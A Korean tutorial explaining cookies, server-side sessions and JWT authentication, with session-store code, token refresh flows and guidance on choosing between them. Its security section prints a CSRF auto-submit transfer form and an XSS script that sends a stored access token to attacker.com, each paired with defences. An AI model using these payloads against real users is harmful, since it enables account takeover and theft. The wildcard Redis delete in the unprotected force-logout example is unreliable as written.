쿠키 세션 JWT 차이 완전 정리 – 인증 방식 선택 기준까지 한눈에

무상태 프로토콜의 현실:

[요청 1] 클라이언트 → 서버: "아이디 admin, 비밀번호 1234로 로그인"
[서버]   로그인 성공 → 응답 반환

[요청 2] 클라이언트 → 서버: "내 장바구니 목록 보여줘"
[서버]   ??? "당신이 누군지 모릅니다. 처음 보는 요청입니다."

→ HTTP는 요청 1과 요청 2가 같은 사람이라는 것을 모릅니다.
→ 매 요청마다 "나 admin이야"를 증명해야 합니다.

인증(Authentication): "당신이 누구인지 확인"
  → 로그인, 아이디/비밀번호 검증

인가(Authorization): "당신이 무엇을 할 수 있는지 확인"
  → 관리자 권한, 특정 리소스 접근 허용/거부

쿠키·세션·JWT는 모두 이 두 가지를 처리하기 위한 도구입니다.

# 서버 응답 (쿠키 설정)
HTTP/1.1 200 OK
Set-Cookie: user_id=admin123; Path=/; HttpOnly; Secure; Max-Age=3600
Set-Cookie: theme=dark; Path=/; Max-Age=86400

# 이후 브라우저의 모든 요청 (쿠키 자동 포함)
GET /dashboard HTTP/1.1
Host: example.com
Cookie: user_id=admin123; theme=dark

Set-Cookie: session_id=abc123;
    Domain=example.com;    # 쿠키 유효 도메인
    Path=/;                # 쿠키 유효 경로
    Max-Age=3600;          # 만료 시간(초), 없으면 브라우저 종료 시 삭제
    HttpOnly;              # JavaScript로 쿠키 접근 불가 (XSS 방어)
    Secure;                # HTTPS 연결에서만 전송
    SameSite=Strict;       # 크로스 사이트 요청에 쿠키 전송 제한 (CSRF 방어)

쿠키에 사용자 정보를 직접 저장하면:
Set-Cookie: user_id=admin; role=admin; is_logged_in=true

문제 1: 클라이언트가 임의로 수정 가능
→ user_id=admin → user_id=other_user 로 변조
→ role=user → role=admin 으로 권한 상승

문제 2: 민감한 정보 노출
→ 쿠키 내용을 누구나 볼 수 있음

→ 해결책: 쿠키에는 식별자(ID)만 저장하고,
  실제 정보는 서버에서 관리 = 세션

세션 인증 전체 흐름:

[로그인 요청]
클라이언트 ──(ID/PW)──→ 서버
                          └── 1. ID/PW 검증
                          └── 2. 세션 생성 및 저장
                              Session Store:
                              {
                                "sess_abc123": {
                                  "user_id": "admin",
                                  "role": "admin",
                                  "login_time": "2026-05-14 10:00",
                                  "expire": "2026-05-14 11:00"
                                }
                              }
                          └── 3. 세션 ID만 쿠키로 전달
클라이언트 ←─(Set-Cookie: session_id=sess_abc123)─ 서버

[이후 모든 요청]
클라이언트 ──(Cookie: session_id=sess_abc123)──→ 서버
                                                  └── 4. 세션 저장소에서 조회
                                                  └── 5. 사용자 정보 확인 후 처리

# 메모리 내 세션 저장 (가장 단순, 단일 서버)
session_store = {
    "sess_abc123": {"user_id": "admin", "role": "admin"},
    "sess_xyz789": {"user_id": "user1", "role": "user"},
}

# Redis를 세션 저장소로 사용 (다중 서버 환경 표준)
import redis
r = redis.Redis(host='session-store.internal', port=6379)

# 세션 저장
r.setex(
    name="session:sess_abc123",
    time=3600,                              # 1시간 후 자동 만료
    value='{"user_id":"admin","role":"admin"}'
)

# 세션 조회
session_data = r.get("session:sess_abc123")

단일 서버 환경 (세션 정상 동작):
클라이언트 → [서버 1] (세션 저장소 보유) → 정상

다중 서버 환경 (세션 문제 발생):
클라이언트 → [로드밸런서]
                 ├── [서버 1] ← 세션 생성됨
                 ├── [서버 2] ← 세션 없음! → 로그인 풀림
                 └── [서버 3] ← 세션 없음! → 로그인 풀림

해결책:
방법 1: Sticky Session (같은 클라이언트는 항상 같은 서버로)
        → 특정 서버 과부하 위험, 서버 장애 시 세션 소실

방법 2: 세션 공유 저장소 (Redis, Memcached)
        → 모든 서버가 같은 저장소 접근
        → 저장소 자체가 SPOF(단일 장애점) 위험

방법 3: JWT 같은 Stateless 토큰 방식으로 전환

JWT 구조: Header.Payload.Signature

실제 JWT 예시:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyX2lkIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MTc5MzYwMDB9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

세 부분을 .(점)으로 구분, 각각 Base64URL 인코딩

{
  "alg": "HS256",    // 서명 알고리즘 (HMAC SHA-256)
  "typ": "JWT"       // 토큰 타입
}

{
  "sub": "admin",            // subject: 토큰 주체 (사용자 ID)
  "role": "admin",           // 커스텀 클레임 (권한 정보)
  "iat": 1716000000,         // issued at: 발급 시간 (Unix Timestamp)
  "exp": 1716003600,         // expiration: 만료 시간 (1시간 후)
  "iss": "auth.example.com"  // issuer: 발급자
}

# 서명 생성 과정
import hmac
import hashlib
import base64

header_b64 = base64url_encode(json(header))
payload_b64 = base64url_encode(json(payload))

# 서버만 알고 있는 비밀키로 HMAC-SHA256 서명
signature = HMAC_SHA256(
    key = SECRET_KEY,              # 서버 비밀키
    message = f"{header_b64}.{payload_b64}"
)

jwt_token = f"{header_b64}.{payload_b64}.{base64url_encode(signature)}"

# 검증 시: 전달받은 Header+Payload로 서명을 다시 생성하고
# 토큰의 Signature와 일치하면 위변조 없음을 확인

[로그인]
클라이언트 ──(ID/PW)──→ 서버
                          └── 1. ID/PW 검증
                          └── 2. JWT 생성 (서버 비밀키로 서명)
                          └── 3. JWT 반환 (서버는 저장 안 함!)
클라이언트 ←──(JWT)──── 서버
클라이언트가 로컬 저장 (localStorage 또는 메모리)

[이후 요청]
클라이언트 ──(Authorization: Bearer {JWT})──→ 서버
                                               └── 4. JWT 서명 검증
                                               └── 5. Payload에서 사용자 정보 추출
                                               └── 6. DB 조회 없이 바로 처리

# 토큰 발급 전략

ACCESS_TOKEN = JWT({
    "user_id": "admin",
    "role": "admin",
    "exp": now + timedelta(minutes=15)   # 짧은 수명 (15분)
})
# 실제 API 요청에 사용, 탈취당해도 짧은 시간만 유효

REFRESH_TOKEN = JWT({
    "user_id": "admin",
    "token_type": "refresh",
    "exp": now + timedelta(days=30)      # 긴 수명 (30일)
})
# Access Token 재발급에만 사용
# HttpOnly 쿠키에 저장 (JavaScript 접근 차단)
# 서버 DB에 저장해 강제 무효화 가능하게 함

# Access Token 만료 시 흐름:
# 1. 클라이언트: Access Token으로 API 요청
# 2. 서버: 401 Unauthorized (토큰 만료)
# 3. 클라이언트: Refresh Token으로 새 Access Token 요청
# 4. 서버: Refresh Token 검증 후 새 Access Token 발급
# 5. 클라이언트: 새 Access Token으로 원래 요청 재시도

CSRF 공격 시나리오:
1. 사용자가 bank.com에 로그인 (세션 쿠키 발급됨)
2. 공격자가 evil.com에 악성 폼 심어둠:
   <form action="https://bank.com/transfer" method="POST">
     <input name="amount" value="1000000">
     <input name="to" value="attacker_account">
   </form>
   <script>document.forms[0].submit()</script>
3. 사용자가 evil.com 방문 → 폼 자동 제출
4. 브라우저가 bank.com의 세션 쿠키를 자동으로 포함해 요청 전송
5. 서버는 정상 사용자 요청으로 오인해 처리

대응책:
- SameSite=Strict 쿠키 속성
- CSRF Token (서버에서 발급한 토큰을 폼에 포함)
- Referer/Origin 헤더 검증

XSS 공격 시나리오:
1. 공격자가 게시판에 악성 스크립트 심기:
   <script>
     fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'));
   </script>
2. 다른 사용자가 해당 게시물 조회
3. 악성 스크립트 실행 → localStorage의 JWT 탈취
4. 공격자가 탈취한 JWT로 API 요청

대응책:
- JWT를 localStorage 대신 HttpOnly 쿠키에 저장
  (JavaScript로 접근 불가)
- CSP(Content Security Policy) 헤더 설정
- 입력값 철저한 sanitize 처리
- Access Token 수명을 짧게 유지 (15분 이내)

# 세션은 서버에서 즉시 무효화 가능:
del session_store["sess_abc123"]  # 즉시 로그아웃 처리

# JWT는 만료 전까지 무효화 어려움:
# 서버가 토큰을 저장하지 않기 때문

# 예시: 사용자가 비밀번호 변경 or 강제 로그아웃
# → 기존 JWT는 exp까지 계속 유효한 상태

# 해결책들:
# 1. 토큰 블랙리스트 DB 유지 (Stateless 장점 훼손)
# 2. Access Token 수명을 매우 짧게 (15분 이내)
# 3. Refresh Token을 서버 DB에 저장해 강제 무효화
# 4. 버전/세대 관리 (password_changed_at을 payload에 포함)

API 요청 처리 흐름 비교:

세션 기반:
클라이언트 요청
    → 쿠키에서 session_id 추출
    → Redis/DB에서 세션 데이터 조회 (네트워크 I/O 발생)
    → 사용자 정보 획득
    → 비즈니스 로직 처리

JWT 기반:
클라이언트 요청
    → Authorization 헤더에서 JWT 추출
    → 서명 검증 (CPU 연산만, 네트워크 I/O 없음)
    → Payload에서 사용자 정보 직접 추출
    → 비즈니스 로직 처리

→ JWT가 세션 조회 I/O를 제거해 레이턴시 감소
→ 단, JWT Payload가 커서 HTTP 헤더 크기 증가
   (세션 ID: ~36바이트 vs JWT: ~500바이트 이상)

세션 기반 선택 시나리오:
✓ 즉각적인 로그아웃·세션 강제 종료가 필요한 경우
✓ 단일 서버 또는 Redis 세션 공유를 구성할 수 있는 경우
✓ 보안 요구사항이 매우 높은 금융·의료 서비스
✓ 서버 사이드 렌더링(SSR) 기반 전통적 웹 애플리케이션
✓ 사용자 수가 제한적이고 수평 확장 필요성이 낮은 경우

JWT 기반 선택 시나리오:
✓ 마이크로서비스 아키텍처 (여러 서비스가 토큰 공유)
✓ 수평 확장이 잦은 클라우드 환경
✓ 모바일 앱 + 웹 등 다양한 클라이언트 지원
✓ 외부 API 제공 (OAuth 2.0 기반)
✓ SPA(Single Page Application) + REST API 구조
✓ CDN·서버리스 환경 (세션 저장소 운영이 어려운 경우)

프론트엔드 (React/Vue/Next.js)
    ↓ API 요청 (Authorization: Bearer {AccessToken})
백엔드 API 서버 (Spring Boot / FastAPI)
    ↓ JWT 검증 (서명만 확인, DB 조회 없음)
    ↓ Refresh Token 재발급은 Redis DB와 연동
인증 서버 (자체 구축 또는 Keycloak/Auth0)

토큰 저장 전략:
- Access Token: 메모리 변수 (가장 안전, 페이지 새로고침 시 소실)
- Refresh Token: HttpOnly Secure 쿠키 (XSS 방어)

# Flask/Django 세션 + Redis 예시

# 로그인 처리
@app.route('/login', methods=['POST'])
def login():
    user = verify_credentials(request.form)
    if user:
        session['user_id'] = user.id    # 서버 세션에 저장
        session['role'] = user.role
        return redirect('/dashboard')
    return "로그인 실패", 401

# 인증 확인
@app.route('/dashboard')
@login_required
def dashboard():
    user_id = session.get('user_id')    # 세션에서 조회
    # Redis에서 자동으로 불러옴
    return render_template('dashboard.html')

# 강제 로그아웃 (즉시 적용)
@app.route('/admin/force-logout/<user_id>')
def force_logout(user_id):
    # Redis에서 해당 사용자 세션 전체 삭제
    redis_client.delete(f"session:{user_id}:*")
    return "강제 로그아웃 완료"

[클라이언트]
    ↓ JWT 포함 요청
[API Gateway (Nginx)]
    └── JWT 서명 검증 (공개키로)
    ↓ 검증된 요청 전달 (JWT payload 포함)
┌──────────────────────────────────────┐
│ 내부 서비스들 (세션 저장소 없이)     │
│ [상품 서비스] [주문 서비스] [결제 서비스] │
│  각 서비스가 JWT에서 user_id, role 추출  │
└──────────────────────────────────────┘
    ↓ 사용자 상세 정보 필요 시에만
[사용자 서비스 DB]